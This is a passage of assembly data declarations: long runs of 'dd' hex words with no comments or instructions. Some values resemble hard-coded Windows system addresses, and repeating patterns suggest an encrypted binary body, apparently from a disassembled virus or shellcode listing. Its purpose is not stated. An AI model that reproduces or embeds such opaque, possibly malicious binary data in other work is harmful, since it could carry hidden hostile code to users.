		dd 0A71731C2h, 5D89C44Fh, 0E55537F6h, 0E52D2F3Dh, 7C22FF84h
		dd 0AD2160DEh, 0ED37F1EEh, 5CA4257Dh, 3F7EC03Eh, 37F1EECBh
		dd 0E2439B0Bh, 4DCBE931h, 0AB2D018h, 6870DC1Ah,	5114A508h
		dd 473641F9h, 84B76CBDh, 3B835C3Bh, 0D31BCC1Dh,	330C0DB5h
		dd 0A3F5FFA7h, 892463A1h, 21795C81h, 0D207CDCCh, 981971F5h
		dd 7FB43250h, 75761EA2h, 57AF0F2Dh, 0DFFD45F6h,	3D837h
		dd 0F7EA0000h, 38589FBDh, 29478F90h, 1FA38081h,	16987677h
		dd 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah, 0D9633D3Eh
		dd 34681531h, 89000000h, 0B668241Ch, 89000052h,	8950240Ch
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 68502414h, 3EC537Bh
		dd 4BBD5558h, 315BEB25h, 37055DE8h, 89AE2C32h, 8B5458C1h
		dd 0C4832414h, 6B1A6804h, 0C890000h, 24348124h,	5BDE04E9h
		dd 8108428Fh, 4E90872h,	148B5BDEh, 0E2895224h, 4C281h
		dd 0C2830000h, 24148704h, 240C8B5Ch, 81E68956h,	4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 0FFF8CF02h, 20B84CCDh, 30633ADh
		dd 0F9E0FFC5h, 4C215D5Eh, 5007A1C8h, 0DF755FCDh, 0EC307AF6h
		dd 7C463F9Ah, 0A64A5501h, 0AE473B8Bh, 2558F7C5h, 3E78A0A6h
		dd 0BD7E5DB6h, 0E91DB88Eh, 0ECh, 0
		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 2, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 2, 67D0EF11h, 0CD314AA3h, 6A56E518h,	0B11C998Dh, 0B1ED3B07h
		dd 1E08039Fh, 3B606617h, 11CCDB0Bh, 46156068h, 0B946363Bh
		dd 3604DED1h, 0B79C6688h, 343960D5h, 8379FBAFh,	0E1EA603Fh
		dd 8F963ED3h, 3439459Dh, 62021222h, 3604DE42h, 0B79C6688h
		dd 343960D5h, 9C4EFBAFh, 0E1EA603Fh, 54753ED3h,	273995C5h
		dd 52740643h, 54238B91h, 62749103h, 0B13162CFh,	0B1E962E6h
		dd 1BB64ACh, 0B61A668Eh, 32156602h, 3219E12Dh, 35FC6611h
		dd 79156688h, 6EAB13ADh, 0B7985E27h, 3426E9BBh,	32156C61h
		dd 93356F44h, 1519297Ah, 0CDFAC790h, 53E90658h,	0BDCFE3C9h
		dd 0B91A6011h, 32156617h, 0FBAA69E8h, 0E2EA07B1h, 0B9D6ED42h
		dd 0B7D307E0h, 34394725h, 54750612h, 23FDA1A9h,	0B4156611h
		dd 6E633FDAh, 0CC510C19h, 0EA2AE8D6h, 9B539CADh, 8D1A07D0h
		dd 607D078Dh, 0DB89CE9Ah, 32156616h, 0B475C116h, 52CA963Ah
		dd 60CA80A2h, 534C3C42h, 3528D377h, 3CFC6068h, 81156622h
		dd 0B3E36067h, 0CE69646Ah, 9C19CEC5h, 3E90EB51h, 3D134997h
		dd 3215710Ah, 0B3730644h, 0DB4EA7CAh, 3215661Ah, 0EA659E7h
		dd 22EAF690h, 532CFAE3h, 0C99E0071h, 3217E187h,	33A36644h
		dd 52C59943h, 77DFE7E4h, 53540587h, 31906924h, 3D156622h
		dd 8C73A9AEh, 0BB740095h, 1E3007C1h, 0E3950624h, 0C8AA699Fh
		dd 7F90A1E9h, 32134A42h, 0CE156622h, 13B8E3D7h,	0DB5060A4h
		dd 3215664Bh, 57077483h, 2AA6BDE2h, 0E6B9D68Eh,	5AF3BFC4h
		dd 0BC670F4Bh, 43A099E8h, 0CA134A9Eh, 819E3C9h,	0CDE9600Eh
		dd 279E69C1h, 3D156688h, 321569C6h, 321F8F22h, 71766611h
		dd 8F64B6FDh, 7478C76h,	3EF8E3ABh, 0BB1A603Dh, 32156689h
		dd 9F90A0BDh, 71134A03h, 32156DF8h, 1C953588h, 7BB995ECh
		dd 0D0EE1FB0h, 557E3879h, 32078F14h, 0CEFE6644h, 1C9BD3C4h
		dd 0BF3DDC5Fh, 78C010D8h, 0CEB74E9Dh, 2464D3DDh, 0BF1A603Dh
		dd 32156680h, 98AA9324h, 537C4466h, 3E90EBE4h, 3D134AB2h
		dd 32156ECAh, 30996922h, 52156611h, 3DC599E9h, 32157ACCh
		dd 851A0622h, 32078FCAh, 56706688h, 0B17C2573h,	8F5EC031h
		dd 6190805h, 30690EEAh,	0D890EF25h, 3D13558Fh, 32156C9Eh
		dd 32108F88h, 87E96644h, 0F4F192FEh, 1E34CB94h,	3AFC328Eh
		dd 5A156644h, 8F7A5295h, 5AFBE041h, 0DC770EA1h,	321EEC4Bh
		dd 3D756622h, 0B41AA9AEh, 32156688h, 43A09925h,	0CB134A34h
		dd 819E39Ch, 38FC60A4h,	0F4156644h, 0F6F29513h,	57B303C6h
		dd 0C7C59947h, 9FFBE3CDh, 60756011h, 321568F9h,	2B353788h
		dd 0DECCB0F7h, 62129694h, 695A5411h, 684335D3h,	0B7D3071Ah
		dd 3439478Fh, 23FD0654h, 46156688h, 2945CE01h, 7AD8C42h
		dd 0D9AA1F4Fh, 65375C6Eh, 0C4BE8DC5h, 0CE4C6F88h, 0AD70E70h
		dd 0BC1ABCE8h, 3215664Ah, 32156FCBh, 0C475D111h, 99717FE3h
		dd 37FCCEA8h, 77156622h, 5242819Dh, 2464D377h, 38FC6068h
		dd 30156622h, 0F6C48574h, 0E17C1501h, 3E90EB16h, 0DB134A18h
		dd 32156614h, 8D7302C6h, 321F8F3Ah, 52246622h, 0B22C06B1h
		dd 0CB1FFB1Ch, 0B11AB6BBh, 32156625h, 3214EB1Eh, 0BBE06688h
		dd 1B894C1h, 0B61A0624h, 32156600h, 32156A61h, 30EBCC44h
		dd 30E2A1A2h, 3E26A36Eh, 67D5E743h, 531BD227h, 3BB4DBA1h
		dd 3D15603Dh, 3214210Dh, 35966944h, 3D156622h, 3215679Dh
		dd 0B7D39E88h, 343947E9h, 3AFC0667h, 0DE156611h, 42FF0E48h
		dd 0DADE5CBDh, 3215662Dh, 75FB75FAh, 152DE85Fh,	838797B9h
		dd 86CB6C72h, 5A743E20h, 0C835180Eh, 0D6D3E624h, 1F7BDF44h
		dd 43A09970h, 0CE134A9Eh, 819E3C9h, 3CFC600Eh, 0F4156611h
		dd 2A4249B5h, 0EB3369DEh, 75605EFEh, 32048FF5h,	8B816688h
		dd 0EDA0F739h, 80BF5599h, 41350D7Eh, 0CD3FACDEh, 0EA940694h
		dd 65434ECEh, 26FC0670h, 25156688h, 38E3D7E4h, 9F3457A6h
		dd 0E1E44Dh, 33262E13h,	54FC56AFh, 0B07DB0A3h, 0C490EF70h
		dd 0DB135525h, 3215664Bh, 8B8793Fh, 0A332FAB6h,	7E5DA817h
		dd 0F46FB5B5h, 1E34CBA7h, 0BE1A2A17h, 32156689h, 0E2D60EB8h
		dd 0CDE98604h, 1E0317A4h, 249A698Eh, 0DB156644h, 32156633h
		dd 6A1FB48Ah, 0A6B9866h, 5618D173h, 2899A47Dh, 3E90EBCDh
		dd 3D134AB2h, 32156EC3h, 30996922h, 52156611h, 0DBC599E9h
		dd 3215664Fh, 0A558679Fh, 2F00935Eh, 0BBE87B38h, 1B89CC1h
		dd 321D8F24h, 0B4636611h, 0A1B620ACh, 0DBE03250h, 32156730h
		dd 0A3CAE671h, 3210E987h, 0CDAC6644h, 53574686h, 13B8E3D7h
		dd 3D4760A4h, 32156AC7h, 34926922h, 3D156611h, 32156606h
		dd 0D6180E44h, 0B41ADA68h, 32156610h, 2FA09971h, 52134A6Dh
		dd 321576CAh, 0AD3A5311h, 0D201D914h, 8CA71578h, 0F6B21441h
		dd 0DA943906h, 3938D6A5h, 3E90EB25h, 3D134A18h,	32156E9Ch
		dd 30906988h, 52156644h, 52C59943h, 0DB4F9791h,	3215668Fh
		dd 816ED01Dh, 5313A29Ah, 9FE3E398h, 3D7560BBh, 0CA7496F3h
		dd 13B8E3E4h, 0CE47603Dh, 7E5F2EE0h, 0B81A06E2h, 32156620h
		dd 8A73A79Ah, 0CD746417h, 1E3C7BF1h, 32198F24h,	881B6611h
		dd 0CA1D160h, 60C5667Ah, 0BF1A8791h, 32156616h,	3214E787h
		dd 0BFE96644h, 1E2F6AA7h, 3A9B6917h, 3D156688h,	321564CEh
		dd 0CD740622h, 8D7306C1h, 0B3734236h, 538D0C9Bh, 9FEFE3ABh
		dd 0B01A6022h, 32156692h, 3201E74Bh, 3DFC6622h,	4B156611h
		dd 338658ABh, 2C7B100Fh, 0E0833427h, 0B7D341E6h, 34394725h
		dd 0B2759A16h, 53ECCCE9h, 70A18C79h, 399C6975h,	52156644h
		dd 3DE5D12Dh, 3215669Ch, 87EA0788h, 34397035h, 32156FCBh
		dd 0B774F811h, 0BB221CD4h, 0B79807D8h, 34395C2Eh, 321B8F71h
		dd 289B6688h, 2188F932h, 29B7677Ah, 3A547FBh, 5320AB08h
		dd 0BBECB6BBh, 1E1857A7h, 33956917h, 0CB156688h, 13B8E382h
		dd 5262600Eh, 6C43DBA3h, 9AB60EE9h, 35FC95D3h, 0CE156622h
		dd 1233D2AEh, 87EA546Ch, 3439438Dh, 3205EE2Dh, 39FC6611h
		dd 0A7156688h, 689D1215h, 0C03E0EA5h, 0B798D91Fh, 34395C84h
		dd 3212E24Bh, 8C756622h, 4AB4E898h, 0E2EA93E9h,	5B90EFB8h
		dd 52134A22h, 3214EB1Eh, 3DED6688h, 321560C3h, 32986922h
		dd 53156611h, 13B8E34Eh, 0DB476068h, 3215662Eh,	33CE2F86h
		dd 0B4FA664Bh, 92D88FD7h, 0EF24714Ah, 3396699Bh, 0CE156688h
		dd 2464D3BBh, 0B61A600Eh, 32156610h, 3E90EB71h,	52134A7Eh
		dd 8D1A7593h, 0E2EA07D0h, 3214E787h, 0BBE96644h, 1E0907A7h
		dd 32188F17h, 0D99B6688h, 0CF627923h, 553AEB23h, 0F407CC02h
		dd 1E34CB0Dh, 52ED3042h, 0F1A26942h, 9DBBDE77h,	32138FE9h
		dd 0A4656644h, 0F18D9202h, 5F2C0E70h, 0CDE9B297h, 1E125BF1h
		dd 321B8F24h, 0A576611h, 7B04ADE3h, 0CA5401C9h,	0E0220B8Fh
		dd 0B419E39Ch, 8D7560A7h, 3E53BD8Bh, 41E07398h,	0E2EA0752h
		dd 321EE087h, 3D756644h, 321566AAh, 0E1AA6911h,	4790EFE9h
		dd 3D134A58h, 321567A6h, 0B7D39A11h, 34394725h,	487D9303h
		dd 0DB94BA32h, 3215661Ch, 13D8B629h, 0B848DA35h, 972FDDEAh
		dd 43A09965h, 0DB134A9Eh, 3215664Bh, 8061755Bh,	0B0698E58h
		dd 40FC685Ch, 0BF89C9C1h, 1E2F6AA7h, 0B9730617h, 0E9A26956h
		dd 0DBC59925h, 3215662Eh, 0AE05E29Ah, 0EFA30B6h, 0B4085D34h
		dd 1F14E3ABh, 34FC603Dh, 62156688h, 7655BCFEh, 9F90A0BEh
		dd 75134A30h
		dd 87F70E71h, 0B375EC4Bh, 0CA01BFC1h, 2891695Eh, 0DA156688h
		dd 32156650h, 7D9AE4BBh, 76059ACCh, 8F771564h, 2A0DE3A1h
		dd 4F09D817h, 87EA074Fh, 343970F9h, 321EE54Bh, 3D756622h
		dd 32156692h, 76DEE688h, 0B7989E25h, 34395C2Eh,	0DBC599EDh
		dd 32156699h, 49AB9C80h, 5D47D2D9h, 84553A9Ah, 601D6364h
		dd 2890EFDFh, 0CE13558Ch, 344E3D6h, 326D60A4h, 3DFC6644h
		dd 0D4156622h, 67FB57EAh, 5B511D29h, 0D572A50Ah, 8F9691AAh
		dd 34395484h, 74916988h, 3D156653h, 32156BACh, 321D8F11h
		dd 44246688h, 0B94F5280h, 0B7D3223Bh, 343947BCh, 209B69C4h
		dd 0DB156644h, 3215662Fh, 0E1365A21h, 0B90F5304h, 9703BB1Dh
		dd 2EFC0E7Ah, 8B75BFCBh, 4601FE59h, 8B28DC22h, 43A09943h
		dd 0CE134A07h, 819E305h, 0CDED6068h, 0B79C9FF2h, 3426C817h
		dd 9F90A07Dh, 7E134A65h, 0ECDB0ED7h, 20FCBB65h,	0F8156688h
		dd 0FC8B04Bh, 0D1DC4A96h, 6BE78A84h, 5A80515Eh,	43A0992Dh
		dd 52134A34h, 961464AFh, 0E3AA00E7h, 22FC0773h,	0FB156622h
		dd 72F4D01h, 0B1A5E5D0h, 0E02665CCh, 0BFC24190h, 1E2F6A94h
		dd 3FFD068Eh, 23156644h, 4F93F6Ah, 0C54470B0h, 0E4835854h
		dd 3705DF1Bh, 0CD745F7Bh, 0B01A06C1h, 3215669Ch, 321569ADh
		dd 0C6DFC622h, 6064F96Bh, 88CE2AA2h, 0BA0B1D77h, 0D3258FA3h
		dd 0BB74365Ah, 1BB6C0Dh, 0B7D39A42h, 3439478Fh,	3D759E5Dh
		dd 3215760Ch, 321F8E44h, 7B206622h, 0FAF640D8h,	0F58FC692h
		dd 67C6E61Fh, 0B02A0E43h, 0B91AD190h, 32156694h, 3203EB4Bh
		dd 23FC6622h, 7B156611h, 0CAC5A04Ah, 94E94D16h,	8B0C900Ch
		dd 0AC05B019h, 2464D377h, 3D756068h, 0B81AA995h, 32156601h
		dd 32156D61h, 36134244h, 13911C51h, 0CF84131Bh,	3E90EBE9h
		dd 0DB134A7Eh, 32156628h, 0ADD57F2Eh, 0D424E5EFh, 0E2EA17D4h
		dd 3C90EFDEh, 521355BFh, 0B7D30774h, 343947E9h,	2A7D9A6Eh
		dd 0CBA64951h, 43A09970h, 0DB134A52h, 3215662Bh, 63DE4D8Eh
		dd 751BACDAh, 3E90EBF3h, 52134A18h, 52DEED77h, 26AB0074h
		dd 0CD740711h, 0B79C9AF2h, 3426C81Fh, 32156161h, 6C2BB244h
		dd 0C3A830AEh, 13B8E3D7h, 0CB5360A4h, 0EC13722Ch, 0CDEC9A98h
		dd 1E0317A4h, 3FFD068Eh, 0AF156644h, 8F5952C4h,	0EFA9972Eh
		dd 0B3ED1353h, 544638B8h, 6C98A09Ch, 0BD1A0670h, 3215669Dh
		dd 321569ACh, 0E32D2E22h, 71DC8A2h, 0BAA41C26h,	8E100E55h
		dd 321F8F78h, 23C56611h, 9FAF73C8h, 0BDDE2FE3h,	3E90EB43h
		dd 3D134A2Bh, 3215760Fh, 38986944h, 0DB156622h,	32156614h
		dd 3A834E05h, 0C7C59949h, 9C03E3ABh, 20FC6022h,	28156688h
		dd 0B44F3767h, 0C138832h, 0BE85CD09h, 0FB3D60C8h, 9F90A093h
		dd 75134A03h, 321574F8h, 0F9DC8288h, 0A2F4A74Bh, 0EDA32300h
		dd 423514A3h, 5A56E097h, 0B3C9763Eh, 3213E82Dh,	65756611h
		dd 5314D5D7h, 43A099BDh, 52134A34h, 321563F8h, 55CC5588h
		dd 0DB7574E9h, 3215662Ah, 1CA2A471h, 0C8D4A03Dh, 537425F3h
		dd 819E3AFh, 3BFC603Dh,	43156688h, 0BB3B45ADh, 0D2B12197h
		dd 0B61AB6EEh, 3215668Fh, 3214E54Bh, 0BBE06622h, 1BB7894h
		dd 3A97698Eh, 3D156644h, 321564AFh, 0F4740611h,	1E34CB0Dh
		dd 0B11A2142h, 32156629h, 321560F8h, 0B3F99488h, 5A5DC67Ch
		dd 0DD92E88Eh, 321575F8h, 22228D88h, 3C2D098Dh,	0E221CC67h
		dd 1B3567F7h, 4FFA7B52h, 2464D3BBh, 0B01A600Eh,	32156619h
		dd 3217EC87h, 53756644h, 819E3AFh, 3CFC603Dh, 0EA156688h
		dd 0ECA0692h, 0E10DB062h, 0CF984942h, 52C599A7h, 0C1940012h
		dd 544B1F35h, 538A33AAh, 9C37E301h, 0F4E06077h,	1E34CBA7h
		dd 3DFC2117h, 83156688h, 0BB7591Ch, 4D4F76F0h, 36A34E3Ch
		dd 0E07D7DABh, 0C7C1FCE3h, 3214E32Dh, 0CDEC6611h, 1E03173Dh
		dd 0F99E0642h, 53CEB7A2h, 819E39Ch, 21FC60A4h, 27156644h
		dd 0C297268Ah, 2FC712E2h, 5D7F50DFh, 43097457h,	0E2EAFE73h
		dd 321561F8h, 0CC8D2F88h, 4B4220A4h, 9C33E3ABh,	0B01A6022h
		dd 32156689h, 9F90A0BDh, 75134A03h, 3214E91Eh, 5AED6688h
		dd 88D45F40h, 43A099D7h, 0CB134A07h, 819E305h, 0CDE96068h
		dd 239C69F2h, 0DB156611h, 32156684h, 0C0D46898h, 0E731CDFEh
		dd 3207A9B1h, 1890EF71h, 521355EAh, 0CAA269DBh,	7FA8E570h
		dd 32134A88h, 3269E34Bh, 0B11A6622h, 32156610h,	9F90A070h
		dd 75134A65h, 1F720EDAh, 0BA1A8663h, 32156680h,	54740624h
		dd 539C429Ah, 2464D3EEh, 0DA7560A4h, 32156641h,	5E2FB65Ah
		dd 15DEE72Eh, 6979D8ECh, 53D6ED22h, 819E3AFh, 0DB75603Dh
		dd 32156698h, 9D3531E3h, 9B2D9663h, 8DBB42h, 4939783Fh
		dd 85A1BEFEh, 0E2EA0715h, 0B9FBEC71h, 0B79C0750h, 3426C86Ah
		dd 32156FCBh, 0A7914811h, 0C876A06Fh, 0B7D31587h, 3439478Fh
		dd 259F6956h, 0DB156688h, 32156656h, 15A1A8B1h,	0CF1AD1E8h
		dd 0D2688821h, 2DFD348Bh, 837D96ACh, 3D9B4FA2h,	32157309h
		dd 32058F44h, 0D4F86622h, 0B21AC2D5h, 9A08DB02h, 9027835Ch
		dd 87EA26CCh, 34397060h, 321C8FE8h, 18196644h, 0E989FDC4h
		dd 5338747Bh, 3E90EB70h, 0C7134A7Eh, 0BE1AB6DDh, 32156619h
		dd 3217E387h, 53756644h, 9C27E3ABh, 52ED6022h, 3DE4EDEEh
		dd 0F474BDFBh, 1E34CBA7h, 34FC2517h, 27156688h,	9C731345h
		dd 78B20EC7h, 35FCA667h, 0EC156688h, 20B691FAh,	87EA2CAEh
		dd 34397060h, 32156961h, 34CF1E44h, 0BCE83440h,	4A5481F7h
		dd 52238BF3h, 819E3C9h,	0CDE0600Eh, 32128FC1h, 29446688h
		dd 9F128537h, 3E9E6910h, 3D156611h, 3215600Ch, 329F6944h
		dd 0BB156622h, 1BB5094h, 0B7D3938Eh, 343947E9h,	0D97D936Eh
		dd 3DEE007Dh, 32156B0Ah, 321D8F44h, 3DC56622h, 5410CCEDh
		dd 0B2759EB6h, 0CD7423A5h, 1E30AF97h, 319C6917h, 52156688h
		dd 0B79807BDh, 34395C2Eh, 53E7ED71h, 3204E887h,	0B31A6644h
		dd 32156629h, 321560F8h, 2EF1EC88h, 0CDDCB2C7h,	0B79C9EF2h
		dd 3426C8DBh, 3214ED87h, 0F4E06644h, 1E34CBA7h,	52EC2217h
		dd 32157261h, 79CC9944h, 6CCD670Ch, 0C44E91F7h,	0CA410804h
		dd 0BF098882h, 32058F3Eh, 7C636611h, 520CF95Ah,	500424BCh
		dd 0D1119041h, 5A74DA77h, 8966E8DDh, 32156EADh,	0FBCB4122h
		dd 3EB155ECh, 43A09962h, 0DB134A52h, 32156629h,	0A0FD8953h
		dd 0EA677C0Ah, 0DB5B073Dh, 32156624h, 2C1AE408h, 0B79839FCh
		dd 34395C48h, 3201EE2Dh, 3DFC6611h, 86156688h, 0F1B42B77h
		dd 1CA2A442h, 0C8D4A0A4h, 0E2EAFF01h, 32156FADh, 0A40EC822h
		dd 1723BE78h, 0B79C007Eh, 3426C87Eh, 2D3DC42h, 0F4740313h
		dd 1E34CB0Dh, 0B51A2542h, 3215662Ch, 32156FF8h,	97934F88h
		dd 3A88944Ch, 0CE7D50F8h, 52A9E87Fh, 3215E487h,	0A7A36644h
		dd 43A09943h, 52134A07h, 32157260h, 9C3E3244h, 99C636F2h
		dd 1C4BF61Ch, 75AD1AD6h, 9322E475h, 697406E7h, 3E90EB70h
		dd 0CB134AB2h, 53D6ED24h, 5475B6DDh, 13A6A590h,	0BB74B903h
		dd 1BB58C1h, 321D8F24h,	29B36611h, 0FDD50FE6h, 0B7D364F6h
		dd 3439478Fh, 3AA30642h, 694D30DEh, 0CBF0E25h, 0CDECA032h
		dd 1E0317A4h, 0DB759A8Eh, 32156648h, 0E9BD593h,	0A6FE63F0h
		dd 0EC67596h, 53E6ED22h, 819E3AFh, 0B11A603Dh, 32156689h
		dd 32108FBCh, 2A316622h, 0CD4EC6B0h, 0B79C9A58h, 3426C806h
		dd 54F2D742h, 53572DA8h
		dd 32156A61h, 74C1FC44h, 3B26D671h, 69A54DA7h, 4FA8E5E1h
		dd 32134A59h, 31ACE22Dh, 38FC6611h, 92156688h, 159B2A4Bh
		dd 0A6EEFDC1h, 9F90A03Fh, 74134AA9h, 321B8F24h,	61966622h
		dd 4AA6DD4Eh, 0EACB72E5h, 0FA451h, 82A6D844h, 0FC240E70h
		dd 0DB759C1Eh, 3215664Bh, 0FBC8EC82h, 0F429C363h, 0FB27E4B2h
		dd 5455C97Dh, 0CD7494A9h, 1E0317A4h, 0B21A068Eh, 3215665Dh
		dd 321575CAh, 0EAEDC011h, 0A810F0D7h, 738AECAEh, 0A75A51E2h
		dd 566F3521h, 50AD00D7h, 0BE1A078Fh, 32156633h,	32128E71h
		dd 0FEB06688h, 2C46F22Ah, 6C433F32h, 3E90EB70h,	0CB134AB2h
		dd 0BBEDB6BBh, 1BBF8A7h, 0B7D39E17h, 34394725h,	32198F02h
		dd 3CF36622h, 4029B77Ah, 654DBFD2h, 5AEC02CFh, 0CEB25CF4h
		dd 3214E91Eh, 0CDED6688h, 1E0317F1h, 32048F24h,	0F5026611h
		dd 1D457ACh, 524B2C8Ch,	3D76D7F5h, 0BFF20558h, 1E2F6A0Dh
		dd 3CFD0642h, 29156622h, 0BB28765Ah, 58294F32h,	64A05829h
		dd 32916956h, 68156611h, 0A69BB809h, 0CD745C20h, 0B9759AF2h
		dd 0F0AA69E1h, 9C90EFE9h, 521355EAh, 5321D1DAh,	13B8E3D7h
		dd 0DB5360A4h, 32156657h, 0B7D692FBh, 2501A247h, 334A9F37h
		dd 0F6D3D8DBh, 3D746F26h, 32157791h, 32198F88h,	6096644h
		dd 5A930450h, 23ADB031h, 327D4DF0h, 0C7879AE0h,	2464D3DDh
		dd 0BA1A603Dh, 32156687h, 32156CADh, 0E422E722h, 0FB9DFF44h
		dd 0BF20227Fh, 1E2F6AC1h, 32108F24h, 47E26611h,	0CDF8AE74h
		dd 0B79C9F94h, 3426C890h, 3206ED1Eh, 3CFC6688h,	55156644h
		dd 0FFC3195Fh, 55444046h, 0D45D7E1Dh, 0B7D39E4Dh, 3439478Fh
		dd 5AED9F57h, 0C4C129E2h, 3AFD3524h, 0C3156622h, 4C4E1949h
		dd 6D7A32FBh, 32198F1Bh, 0DDB06622h, 668DE904h,	6FC624FAh
		dd 0CD74EC83h, 1E031797h, 33986917h, 0CE156688h, 3212EF4Bh
		dd 0B21A6622h, 32156610h, 3E90EB71h, 3D134A7Eh,	321567A7h
		dd 0E2EA9E11h, 32157461h, 454AD944h, 11858E9Fh,	52EA46D6h
		dd 5AC41926h, 0BB251081h, 1BBD0A7h, 0B7D39317h,	34394725h
		dd 0B2440602h, 524BFCCEh, 0BD1ADDA4h, 32156688h, 0D57D0725h
		dd 0DB81AB72h, 32156602h, 0D5370C43h, 316B0DD9h, 20B256ABh
		dd 0C521B9F9h, 521C5241h, 0DBDAED22h, 32156636h, 6208137Fh
		dd 0B3212AEh, 43959AA9h, 0F4895EEFh, 0F40ED80Bh, 43A099E9h
		dd 0CB134A52h, 819E3AFh, 0CDE0603Dh, 0B79C9358h, 3426C8E6h
		dd 321DED2Dh, 0B41A6611h, 3215668Ah, 0B7D30724h, 3439478Fh
		dd 32188F57h, 98F66688h, 2F414F86h, 6A10DA5Bh, 5AF47722h
		dd 833712B3h, 32156FADh, 2D4FD622h, 0FEAC03D1h,	87EA1E2Ah
		dd 34397035h, 0EBA26942h, 321569F9h, 717E9688h,	53E9BAF9h
		dd 0C6C36259h, 0FECB8637h, 3215EF87h, 534E6644h, 819E3AFh
		dd 0DBE0603Dh, 32156698h, 0EBC6B875h, 5C56A0E5h, 458C4C90h
		dd 7390224Fh, 0DB75B6BBh, 32156627h, 948BB544h,	0B79C0720h
		dd 3426C8E2h, 3219E62Dh, 0B31A6611h, 3215668Eh,	3215E94Bh
		dd 0B7D36622h, 343947BCh, 219769CEh, 0DB156644h, 3215662Ch
		dd 4B3DF019h, 68AD1F19h, 4DB8E4D3h, 0DF7DC5A4h,	52CA1FFBh
		dd 54D3D987h, 0CD749DCFh, 1E031797h, 0EB940617h, 18630C0Ah
		dd 0F39E0625h, 53CAD92Dh, 819E39Ch, 3D7560A4h, 321560CFh
		dd 329D6922h, 52156611h, 0DAC4D987h, 3215664Eh,	723332FEh
		dd 80413E01h, 534E7AE1h, 0CEC59925h, 9CBFE3ABh,	3D756022h
		dd 32157708h, 32198F44h, 0D6CD6622h, 2C6D883Bh,	89D25267h
		dd 0B17475DFh, 1E152B9Fh, 0B71A6617h, 321566FCh, 9F90A0BCh
		dd 61134A03h, 20FC9371h, 5B156688h, 0EC0B7F51h,	0A828B500h
		dd 7AE5D723h, 214FCAC6h, 6C7D076Bh, 52DBD8C2h, 11E5E777h
		dd 87EA0746h, 34397035h, 3214E52Dh, 0BFEC6611h,	1E2F6A0Dh
		dd 0D09F0642h, 0C633DD44h, 52C59970h, 8BC6D187h, 6585986Dh
		dd 7490EF43h, 0DB1355BFh, 32156685h, 3F11EE2Ah,	0E1BB4AE1h
		dd 0DD5C1578h, 33916961h, 0CA156644h, 13B8E3E4h, 0CE52603Dh
		dd 834BE1E0h, 32108F83h, 5B7A6622h, 3D71C826h, 32156E0Ah
		dd 84AB0644h, 0CA310B83h, 43A09970h, 52134A9Eh,	2FFA42FAh
		dd 4514DD5Ah, 0BF747599h, 1E2F6A0Dh, 0FAB0642h,	3D3CF24Ch
		dd 32156799h, 0CD749F88h, 34FD0694h, 17156622h,	5C702916h
		dd 75FBE6DBh, 0B91A371Fh, 32156622h, 0B79C074Eh, 3426C8C2h
		dd 321A8F24h, 0AFDB6622h, 1D99EB1Dh, 0CD491E44h, 10FCF808h
		dd 8E52DE46h, 0B17441EDh, 1E152B35h, 0B71A6642h, 321566B0h
		dd 54D7ED71h, 3D74AE03h, 321575C8h, 321B8F22h, 261B6611h
		dd 0D6618B69h, 85B72312h, 58B0BEACh, 13B8E3D7h,	525260A4h
		dd 0C7F290C4h, 4C100E43h, 26FC8073h, 45156688h,	0E61544E9h
		dd 39A67AD6h, 0E101F632h, 5C629C27h, 0CDE3F349h, 1E031797h
		dd 321C8F17h, 46126688h, 48657312h, 0BFC2DAC1h,	1E2F6A94h
		dd 32068F8Eh, 3C976644h, 0CE6F1DADh, 47B461F6h,	7D482D8Eh
		dd 835825FFh, 0B973065Bh, 0E2EA07E3h, 3214E187h, 0BBE96644h
		dd 1BB28A7h, 0B7D39F17h, 34394725h, 26966907h, 0DB156622h
		dd 3215661Eh, 9C4F0F10h, 0F566D915h, 82623A52h,	5A6CEAA6h
		dd 0A06F6F7Eh, 321561ADh, 0C5C0F322h, 0D5F6F511h, 2464D377h
		dd 0B31A6068h, 32156628h, 321563F8h, 0E1FBE188h, 3FFC72EDh
		dd 0B7156622h, 652236Ch, 0A2C0B277h, 305C5AF2h,	819E3AFh
		dd 0CDE0603Dh, 32108F58h, 0B9C66644h, 0DB39D1F2h, 32156617h
		dd 0FE03F49Ch, 0B79C2CF5h, 3426C870h, 321560F8h, 96B45288h
		dd 0F429F40Eh, 1E34CBA7h, 0B9752517h, 32108F73h, 0F0156644h
		dd 539A9CB5h, 81C4E771h, 0B2758942h, 5A748085h,	0CE34F102h
		dd 3213E91Eh, 52756688h, 53740625h, 2464D3DDh, 0B71A603Dh
		dd 32156689h, 3E90EBB8h, 0C7134A18h, 0BBE0B6EEh, 1BB300Dh
		dd 3F986942h, 0DB156622h, 32156619h, 45EC01BDh,	6F31D5E3h
		dd 3258DBA1h, 3D15603Dh, 3215980Dh, 37FC0644h, 0AE156622h
		dd 20C28D0Fh, 53DFD187h, 13B8E382h, 5256600Eh, 57AB0047h
		dd 5A7438F6h, 0B915CE47h, 0E2A26942h, 87EA07EDh, 343970F9h
		dd 3E90EBBCh, 0DB134A18h, 32156605h, 0C886CFF0h, 0E0BB7BD7h
		dd 87166C9Dh, 1FAFF3E8h, 0C35E7CFDh, 3CFCB6BBh,	0BA156622h
		dd 25ACA48h, 9E86745h, 0DF8D08ACh, 32188FC7h, 6AE06611h
		dd 0AA043ECBh, 0AB558372h, 0BBFFF96Fh, 1BB3894h, 3BFC068Eh
		dd 59156644h, 31674185h, 0BD44380Ch, 53E4EDEEh,	321568ADh
		dd 975B422h, 0FD6CA3Ch,	0B8DACE02h, 0F44D2F86h,	1E34CBA7h
		dd 5AE92517h, 0D74E505Dh, 32068F24h, 842C6622h,	87D2380Ah
		dd 46427D3Dh, 195F2922h, 4EF6A36h, 53E5ED86h, 2464D377h
		dd 0BFED6068h, 1E2F6AA7h, 8D1A0617h, 0E1940078h, 0CD74A610h
		dd 321D8FF2h, 0B41C6611h, 0CEAD1D0Dh, 0B79C09F9h, 3426C878h
		dd 3214EF1Eh, 0F4E06688h, 1E34CBC1h, 3FFC2524h,	0AA156611h
		dd 0E1F1F94Fh, 65121BBBh, 37F764A2h, 32156AF8h,	568B8788h
		dd 0D3E1E1B2h, 993DCEEFh, 0F40ED1h, 0CDED8C22h,	1E0317F1h
		dd 0DB759324h, 32156605h, 5508C4B3h, 357C39D5h,	8138C621h
